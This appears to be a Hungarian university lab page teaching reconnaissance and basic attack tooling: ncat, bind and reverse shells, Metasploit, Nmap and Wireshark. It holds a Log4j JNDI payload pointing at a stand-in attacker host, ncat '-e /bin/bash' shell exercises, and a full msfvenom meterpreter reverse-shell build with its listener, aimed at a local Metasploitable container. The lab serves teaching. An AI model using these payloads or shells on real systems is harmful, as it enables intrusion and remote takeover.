Főoldal Követelmények Segédanyagok Oktatók

Információgyűjtés

A biztonsági tesztelés/támadás első lépése az információgyűjtés. Milyen eszközök vannak a hálózaton, azoknak mik lehetnek a gyenge pontjai stb. Az információk birtokában nekiláthatunk kidolgozni egy stratégiát a támadáshoz.

Bevezetésként két fontos információbiztonsággal kapcsolatos fogalom.

Exploit

Az exploit konyhanyelven egy "gyöngeség" kihasználását jelenti. Infobiztesebb megfogalmazás: felfedezünk egy alkalmazásban egy sérülékenységet és készítünk egy módszert ennek a kihasználására. Például felfedezzük, hogy a szerver sérülékeny Log4j library-t futtat. A szerverre elküldött ${jndi:ldap://attack.com} tartalmú üzenet valamilyen protokollal való elküldése lekinthető exploitnak, ugyanis amikor ezt ki akarja loggolni a szerver, akkor végrehajtja a lekérdezést. Ami betölt az attack.com szerverről egy Java kódot (ez lesz a payload). Exploit adatbázis

Payload

Egy olyan kód, amit szeretene a támadó végrehajtatni az áldozat gépén, hogy elvégezze a kártékony tevékenységet. Például a támadó egy exploit segítségével bejuttat egy payload-ot, ami ráveszi az áldozat gépét, hogy építsen fel reverse shellt a támadó gépe felé. A támadó ezután átveheti az uralmat a gép felett. Más kártékony tevékenységet is végezhet a payload: fájlok törlése, meghajtó letitkosítása, adatok ellopása stb.

exploit vs payload
Forrás: Link

Ncat

Sokoldalú hálózati kommunikációs eszköz. Segédeszköz lehet szerverhibák megoldásakor, biztonsági teszteléskor stb. Szerver - kliens alapú. Szervert a -l kapcsolóval lehet létrehozni. Pl. ncat localhost -l 8000. Ekkor a 8000-es port foglalt lesz és bejövő kapcsolatra vár. Egy klienst, ami rá csatlakozik így hozunk létre: ncat localhost 8000. A localhost helyettesíthető a megfelelő IP címmel.

Ugyanezen parancsok az nc nevű program segítségével:

  • Egy portra való rácsatlakozás: nc [host] [port] (nc esetén: nc localhost 3000)(ncat esetén: ncat 192.168.7.1 3000)
  • Bejövő kapcsolatra váró szerver nyitása: nc -l [host] [port] (nc esetén nc -l localhost 5000)(ncat esetén: ncat -l 192.168.7.1 3000)

Bind shell
Amikor egy porthoz hozzákapcsolunk (bind-olunk) egy shell-t. Pl. az ncat esetén a -e kapcsolóval tehető meg. Pl. egy unix gépen: -e /bin/bash. Így hálózaton keresztül parancsokat lehet végrehajtattani egy géppel. Ezzel jól modellezhető (esetleg meg is valósítható) az alábbi két támadási forma.
bind shell
Forrás: Link
Backdoor
Az áldozat gépére bejuttatott rosszindulatú kód felnyit egy portot (bind shell), amelyen keresztül a támadó becsatlakozhat (és parancsokat futtathat). Ez akár lehet egy normálisnak tűnő program nem dokumentált portja, amiről a támadók tudomást szereznek és kihasználják.
Mennyire vagyok veszélyben? Az otthoni hálózatunkon jó eséllyel nem, hiszen NAT (Network Adress Translation) történik, így a privát hálózatban lévő gépeink kívülről nem elérhetőek. Ha viszont expliciten lehetőséget adunk port forwardingra (vagyis, hogy az egyik eszköz portja kívülről elérhető legyen), akkor kockázatnak tesszük ki magunkat. Csak nagyon szükséges esetben használjunk ilyet.
Reverse shell
A backdoor hátránya, hogy a támadónak kell becsatlakozni a felnyitott portra. Ebben nem csak a NAT, de a rendszergazda által beállított tűzfal is könnyedén megakadályozhatja. Egy, a gyakorlatban jobban kivitelezhető elrendezés a reverse shell, amikor az áldozat gépére bejuttatott kód ráveszi az áldozat gépét, hogy ő csatlakozzon be a támadó gépen bejövő kapcsolatra várakozó portra.
Mennyire vagyok veszélyben? A reverse shell sajnos egy valós kockázat lehet. Azt megtehetjük a védelmünk érdekében, hogy a feltétlenül szükséges portokon kívül tűzfallal letiltjuk az összes kimenő kapcsolatot, de egy okosabb maleware ekkor a nyitott portot fogja használni. Vagy valamilyen megbízható programnak "álcázza" magát, pl. böngésző folyamatnak és ezért nem kerül letiltásra.
Reverse shell cheatsheet
reverse shell
Forrás: Link

Gyakorlati feladat

  1. Készíts egyszerű chat-et az 50000-es porton keresztül!
  2. Tölts be kézzel egy weboldalt: ncat inf.u-szeged.hu 80 (banner grabbing lehetősége)
  3. Próbáljuk ki, hogy a listener -e /bin/bash kapcsolóval van elindítva
  4. Csináljunk reverse shell-t is!
  5. Csináljunk egyszerű webszervert!

    [server] cat >index.http
    HTTP/1.0 200 OK

    <html>
    <body>
    <h1>Hello, Security!</h1>
    </body>
    </html>
    [server] ncat -l 8080 <index.http
    [client] firefox http://localhost:8080

Bemutató videó

Metasploit

A Metasploit egy nyílt forráskódú keretrendszer, mely kiválóan alkalmas hálózatok, rendszerek biztonsági vizsgálatára vagy akár megtámadásárára. A hozzá hasonló programokat nevezzük "pentest" vagy "penetration testing" toolnak nevezzük. A Ruby alapú implementáció rengeteg előre elkészített kódot tartalmaz, amit azonnal bevethetünk a biztonsági elemzéshez, de saját szkriptekkel is bővíthető. Jelenleg már több, mint 2000 exploitot tartalmaz 25 platformon (pl. Android, PHP, Python, Java...). Emellett 500-nál is több payloadot tartalmaz. A payloadoknak van pár alap típusa, melyek több platformra is elérhetőek. Például meterpreter alapú payloadok interaktív shellt biztosítanak a támadónak. Ezzel a támadó feltérképezheti az áldozat gépét, dinamikusan használhat különféle eszközöket. A Meterpreter kizárólag a memóriában létezik, beinjektálja magát a fertőzött processbe (DLL injection), így mivel nem indul új process az áldozat gépe kisebb eséllyel detektálja. A payloadok két fő kategóriája:
  • Staged payloadok: tipikus példa windows/meterpreter/reverse_tcp. Az áldozathoz eljuttatott payload tartalmaz egy úgynevezett stagert, amely az igazi, gyakran nagyobb méretű payload letöltéséért felelős, beinjektálja azt a memóriába, majd átadja neki a vezérlést.
  • Stageless payloadok: tipikus példa windows/meterpreter_reverse_tcp (_ karakter / helyett). A payload mindent tartalmaz, ami a futásához szükséges, tehát szükségképpen nagyobb méretű, mint a másik. (A túl nagy méret bizonyos esetekben gondot okozhat, ezért találták ki a stagert)
Ha elindítjuk az msfconsole alkalmazást a show payloads, show exploits, grep reverse_tcp stb. parancsokkal lehet böngészni, mik érhetőek el.
metasploit
Forrás: Link
Reverse shell a Metasploitban!
  1. Indítsunk el egy sérülékeny dockert! Ez lesz az áldozat.
    • sudo docker run -it --rm --name metasploitable --hostname metasploitable2 tleemcjr/metasploitable2 bash
    • docker bash-ben: services.sh
    • docker bash-ben: ifconfig -> 172.17.0.2 (valószínűleg ez lesz a gép ip címe)
  2. Készítsük el a Meterpreter alapú payloadot. Ehhez használhatjuk az msfvenom nevű standalone payload készítő programot vagy az msfconsole-t. Mivel kompaktabb egy parancsot megjeleníteni, itt az msfvenom-ot írom le, de ugyanez az msfconsole-ból is elkészíthető a generate paranccsal. Msfvenom cheatsheet.
    • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf > test_payload
    • p (payload): payload/linux/x86/meterpreter/reverse_tcp
    • LHOST (listener host): a támadó ip címe. A 172.17.0.1 egy példa IP cím (a host gépünk IP címe a docker hálózaton belül, kérdezzük le ifconfiggal)
    • LPORT (listener port): a támadó portja, amin a bejövő kapcsolatra vár
    • f (format): a payload formátuma. Az ELF (Executable and linkable format) egy szabványos formátum futtatható állományok számára.
    • A payloadon encoding-ot is végrehajthatunk, letilthatunk benne bizonyos karaktereket (pl. \x00), így nagyobb valószínűséggel lesznek sikeresek, antivírusok kevésbé veszik észre őket
  3. Eljut az áldozathoz a payload (letölti egy email csatolmányaként) Mi most rámásoljuk a dockerre:docker cp test_payload [conatiner_id]:/home/user (Container id megszerzése: docker ps)
  4. msfconsole-on a listener beállítása, ami az áldozattól beérkező kapcsolatra vár
    • msfconsole (Metasploit elindítása, a további parancsok az msconsole-ra vontakoznak)
    • use multi/handler (egy generikus exploit kezelő, amivel a frameworkön kívül beindított exploitokat tudjuk kezelni)
    • set payload linux/x86/meterpreter/reverse_tcp (ugyanaz, mint amit az msfvenom-nak megadtunk)
    • set LHOST 172.17.0.1 (a támadó IP címe)
    • set LPORT 4444
    • run (elindult az áldozat bejövő kapcsolatára váró listener)
  5. Ha az áldozat futtatja a payloadot (./home/user/test_payload) létrejön egy bejövő kapcsolat az msfconsole-ban, majd megkapjuk a meterpreter shellt, amin keresztül a kártékony tevékenység elvégezhető.
    • A help utasítással lekérdezhetőek a meterpreter parancsok
sudo docker run -it --rm --name metasploitable3 --hostname metasploitable3 -e SSH=true -e HTTP=true kirscht/metasploitable3-ub1404 bash

Nmap

Hálózati feltérképező program. Segítségével megnézhető, milyen gépek érhetőek el egy hálózaton, azokon milyen operációs rendszer van, milyen szolgáltatások érhetőek el stb. Rendszergazdáknak hasznos eszköz, de ha valaki rossz helyen használja bajba keverheti magát. A port szkennelés is lehet illegális. Attól függ, hogy a hálózat üzemeltetője mit engedélyezett. Ha nem is tilos, a hálózatról való kizárást eredményezheti, ha észlelik (potenciális rosszindulatú tevékenység megelőzése).

IP címek
Az internetalapú hálózatok egyik alapvető protokollja az IP protokoll. Az ilyen hálózaton lévő gépek IP címzést használnak. Ennek régi, elavuló verziója az IPv4 címzés (ARPANET, 1983), mely 32 bites címeket használ. Ez a 32 bit van beosztva 4 db 8 bites egységbe, amelyeket decimálisan szoktunk ábrázolni. Pl. 10.6.15.8. Gondot jelent azonban, hogy a 2^32 darab cím kevés, még magánhálózatokkal együtt is, illetve hogy ez a protokoll nem támogatja a mobilitást, illetve nincs lehetőség a protokollba beépített titkosítás támogatására.
Az IPv6-os címek 128 bit hosszúak, megoldást kínálva a címek elfogyására. 8 darab kettősponttal elválasztott, maximum 4 számjegyből álló hexadecimális szám formájában szokták megjeleníteni. Egy tag tehát 16 bitet ábrázol. Például: 2001:4C48:300:162:8C40:CCB:1FC0:1723
ip addrs
Forrás: Link
Mindkét protokoll címzésre van, ám működésük eltérő, így egymás melletti használatuk nehézkes. Mindkét címzést lehet nmap-el használni.
ip headers
Forrás: Link
Alhálózatok
Az intézmények, cégek alhálózatokra (subnet) szokták bontani a számukra kiosztott címtartományt, így kisebb, könnyebben kezelhető üzenetszórási tartományok keletkeznek. Alapból az IP cím egy hálózati és egy host részből tevődik össze (A, B... osztályok). Alhálózat képzéskor a host rész lesz tovább-bontva.
subnet
Forrás: Link
Az alhálózati maszk segít meghatározni, hogy mekkora az IP címből a host rész. Az alábbi kép szemlélteti IPv4-es címek esetén a lehetséges alhálózati maszkokat. IPv6 esetén prefixekről beszélünk. A 2001:db8:abcd:0012:0000:0000:0000:0001 cím esetén az első három csoport (2001:db8:abcd) a hálózati cím, a 4. számcsoport (0012) az alhálózati cím, míg a host címe az utolsó 4 számcsoport, azaz 0000:0000:0000:0001. Vagyis a prefix: 2001:db8:abcd:0012/64, ahol a 64 a prefix hosszára utal. A hálózati rész hossza növekedhet az alhálózati bitek rovására. Egy (Link)
subnetmask
Forrás: Link

  • HTTP: adatátviteli protokoll a szállítási réteg (jellemzően TCP/IP) felett. Kérés - válasz alapú protokoll, melyben a szerver és (tipikusan) a böngésző kommunikálnak egymással. Általában a 80-as portot használja.
    OSI modell
    Forrás: Link
    A protokoll többféle metódust definiál, ezek közül a két legismertebb a POST és a GET request.
    • GET: jellemzően adatkérés miatt küldi a kliens a szervernek. Pl. ki akarjuk listázni a webáruház 3. oldalán lévő termékeit.
      webshop.php?oldal=3
      Néhány jellemző:
      • cache-elhető
      • bekerül a browser history-ba
      • az URL átírásával a user is könnyen módosíthatja
      • szenzitív adat megadására nem alkalmas
    • POST: adatküldés a szerverre, úgy, hogy az adatok az üzenet törzsében vannak (nem az url-ben). Az üzenet elkapható és ugyanúgy módosíthatóak az adatok, mint GET esetén.
      Néhány jellemző:
      • nem cache-elhető
      • nem kerül a browser history-ba, nem könyvjelzőzhető, emiatt biztonságosabb, mint a GET
      • back/reload hatására az adat újból elküldésre kerül (erre figyelmeztet mindig a böngésző, hiszen kártékony lehet)
  • HTTPS: a HTTP protokoll kiegészítése biztonsággal. A kommunikációs csatolva be van titkosítva TLS-el (elődje az SSL)

Állomásfelderítés
A hálózaton elérhető gépek kilistázása a cél.
Mire van az ICMP echo üzenet (ping)? Nem épp arra, hogy eldöntsük egy host elérhető-e? Miért kell a felderítéshez egy egész program rengeteg féle letapogatási móddal? Elvileg az 1989-es RFC 1122-es szabvány szerint minden gépnek válaszolnia kéne egy ilyen ping-re. Azonban rendszergazdák biztonsági megfontolásokból letilthatják a ping üzenetekre való válaszadást. Vagyis a pingelés már nem megbízható módja egy host elérhetőségének ellenőrzésére.
ping
Forrás: Link
Néhány felderítési mód, amit az nmap kínál (a -sn kapcsolóval kikapcsoljuk, hogy a gépek portjait is szkennelje):
  • Kizárólag visszhang (echo) letapogatás (-sn -PE). Root jog kell.
  • TCP SYN Ping (-sn -PS) a 80-as portra. A gép SYN/ACK-val vagy RST-vel válaszol, innen lehet tudni, hogy elérhető. Timeout esetén van a host elérhetetlennek jelölve.
    tcp
    Forrás: Link
  • TCP ACK Ping (-sn -PA), alapértelmezetten a 80-as portra. Az nmap ACK csomagot küld a felderítendő gépnek, amire (mivel nem számított rá) RST lesz a válasz -> elérhető az állomás.
  • ARP scan útján (-sn -PR)
  • Default beállítások: -PE -PS443 -PA80 -PP. Vagyis ICMP echo-t, TCP SYN-t (443 port), TCP ACK-t (80-as port) és egy ICMP timestamp requestet (PP) küld a vizsgálandó hostok felé.
Érdekes kapcsolók még: --randomize-hosts (kevésbé legyen feltűnő a szkennelés), -n (DNS feloldás kikapcsolása, gyorsítja a szkennelést)
Nyitott portok felderítése
Az nmap [target] utasítás alapból beszkenneli a hostok leggyakrabban használt 1000 portját is. Ezek a leggyakrabban használt portok, pl 80-as port a HTTP kommunikációra, 443-as port a HTTPS-re. Összesen 2^16, azaz 65535 port lehetséges. Vannak szolgáltatások, amelyeket jellemzően egy adott porthoz kötnek (mint a példában felsorolt két port is), így ha egy port nyitott sokszor meg lehet tippelni milyen szolgáltatás fut mögötte (de rosszindulatú kódok, trójaik általi fertőzöttség is felismerhető lehet a nyitott portok alapján)
Néhány ismert TCP port
  • Port 80 (HTTP)

  • Port 23 (Telnet) - A Telnet nem biztonságos (nem titkosított) bejelentkezést biztosít távoli gépekre. Adatok elérése és programfuttatás is lehetséges. Adminisztrációs eszköz lehet switcheken, routereken.

  • Port 443 (HTTPS) - A titkosított webszerverek alapértelmezés szerint ezt a portot használják

  • Port 21 (FTP) - File Transfer Protocol, a Telnethez hasonlóan nem biztonságos fájlátviteli protokoll

  • Port 22 (SSH) - Secure Shell, a Telnet titkosított helyettesítője

  • Port 25 (SMTP) - Simple Mail Transfer Protocol (also insecure).

  • Port 110 (POP3) - Post Office Protocol version 3 email fogadásra (nem biztonságos).

  • Port 143 (IMAP) - Internet Message Access Protocol version 2. Nem biztonságos protokoll email fogadásra.

  • Port 53 (Domain) - Domain Name System (DNS), DNS feloldás.

  • Port 3306 (MySQL) - MySQL adatbázissal való kommunikáció portja

  • Port 8080 (HTTP-Proxy) - Jellemzően ezt használják alternatív HTTP portnak vagy HTTP proxynak (valami más már használja a 80-as portot, vagy a szolgáltatásnak nincs jogosultsága a 80-as porthoz).

  • Port 995 (POP3S) - POP3 titkosítással

  • Port 993 (IMAPS) - IMAPv2 titkosítással

Néhány portszkennelési mód, amit az nmap kínál:
  • TCP SYN scan (-sS). Legkedveltebb mód. Gyors és kevésbé feltűnő, mint a TCP kapcsolat tesztelés. A szkennelés menetét és lehetséges eredményeit az alábbi három ábra mutatja.
    syn open
    Forrás: Link
    syn closed
    Forrás: Link
    syn filtered
    Forrás: Link
  • TCP connect scan (-sT). Teljesen felépíti a TCP kapcsolatot. Ez feltűnőbb, de a sima SYN scan nem mindig elérhető, mert pl Unix alatt root jogosultság kell a raw package küldéshez.
    ip addrs
    Forrás: Link
  • Tűzfal szabályok letapogatása a -sA kapcsolóval. Ha egy portot elér egy véletlenszerűen küldött ACK csomag, akkor nem filterezett, ha nem válaszol vagy bizonyos ICMP hibaüzenetet küld, akkor az van feltételezve, hogy tűzfal védi a portot.
  • UDP szkennelés is elérhető (-sU)
Szolgáltatások felderítése
Adott porton futó szolgáltatás verzióját próbálja felderíteni. Ez segít eldönteni milyen kihasználható sérülékenységek érhetőek el egy rendszeren. Például: nmap -A -T4 -F [target], ahol a -A bekapcsol egy aggresszívebb port szkennelést (-T4 és -F gyorsítás miatt). Az nmap rendelkezik egy adatbázissal a szolgáltatások válaszaiból készített fingerprintekkel. Ez alapján történik a beazonosítás. Az operációs rendszer találgatását a -O kapcsolóval lehet bekapcsolni.

SYN flood

Az a SYN letapogatás, amit az nmap is használ (-sS kapcsoló) egy DoS (Denial of Service) támadás alapja is lehet. Ezt SYN flood-nak vagy SYN elárasztásnak nevezzük. A támadó TCP kapcsolatot kezdeményező SYN üzeneteket küld a szerverre, aki erre SYN-ACK-val válaszol, de a támadó sosem reagál erre az üzenetre. Hivatalosan RST-t vagy ACK-t kéne küldenie (nem épül ki a TCP kapcsolat (RST) vs kiépül (ACK) ), de a rosszindulatú user nem válaszol és a szerver vár, csak vár, közben megismétli párszor a SYN-ACK üzeneteket. Ha egyszerre sok ilyet megválaszolatlan SYN üzenet fut be hozzá, akkor megtelik a memóriája a sok kapcsolat kezdeménnyel és unresponsive lesz.

Gyakorlati feladat

Próbáljunk ki néhány szkennelési módot!
  1. Tipp: -v kapcsolóval verbose mód bekapcsolható
  2. Listázzuk ki a -sL kapcsolóval a letapogatandó hostokat: nmap -sL 10.6.12.105/30. Ilyenkor csak DNS feloldás van.
  3. Szkenneljük be nmap-el a Metasploit-os példában elindított metasploitable2 docker portjait!

Bemutató videó

Wireshark

Hálózati forgalomelemző program. Használható hálózati problémák felderítésére, biztonsági elemzésre, a működés megértésére. Mérésre, elemzésre alkalmas csak, befolyásolásra nem.

Gyakorlati feladat

  1. Készíts ncat-es chat-et az 50000-es porton! Nézd meg milyen üzenetek vannak váltva a kapcsolat felépülésekor és utána üzenetváltások hatására! Jobb egérgomb egy csomagra -> Follow -> TCP stream: kiolvashatóak az elküldött üzenetek.
  2. Készíts ncat-es chat-et az 50000-es porton, de titkosítsd be a kommunikációt a --ssl kapcsolóval. Kiolvasható wireshark-al a kommunikáció?
  3. Futtass nmap-es szkenneléseket a localhost-on. Többféle fajtát is próbálj ki és nézd meg mit lát a wireshark!